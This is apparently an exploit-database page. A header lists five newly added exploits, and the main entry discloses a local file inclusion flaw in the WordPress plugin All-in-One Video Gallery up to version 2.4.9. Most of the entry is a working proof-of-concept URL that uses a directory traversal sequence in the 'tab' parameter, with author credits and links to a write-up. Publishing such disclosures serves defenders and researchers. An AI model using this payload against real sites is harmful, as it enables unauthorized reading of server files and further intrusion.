34c9d56d78
5 changes to exploits/shellcodes Online Pre-owned/Used Car Showroom Management System 1.0 - SQLi Authentication Bypass Online Magazine Management System 1.0 - SQLi Authentication Bypass WordPress Plugin All-in-One Video Gallery plugin 2.4.9 - Local File Inclusion (LFI) WordPress Plugin Slider by Soliloquy 2.6.2 - 'title' Stored Cross Site Scripting (XSS) (Authenticated) WordPress Plugin DZS Zoomsounds 6.45 - Arbitrary File Read (Unauthenticated)
13 lines
No EOL
583 B
Text
13 lines
No EOL
583 B
Text
# Exploit Title: WordPress Plugin All-in-One Video Gallery plugin 2.4.9 - Local File Inclusion (LFI)
|
|
# Exploit Author: Mohamed Magdy Abumusilm Aka m19o
|
|
# Software: All-in-One Video Gallery plugin
|
|
# Version: <= 2.4.9
|
|
# Tested on: Windows,linux
|
|
|
|
Poc: https://example.com/wordpress/wp-admin/admin.php?page=all-in-one-video-gallery&tab=../../../../../poc
|
|
|
|
Decription : Authenticated user can exploit LFI vulnerability in tab parameter.
|
|
|
|
Vulnerable code block : https://i.ibb.co/hXRcSQp/1123.png
|
|
|
|
You can find a writeup at my blog : https://m19o.github.io/posts/How-i-found-my-first-0day/ |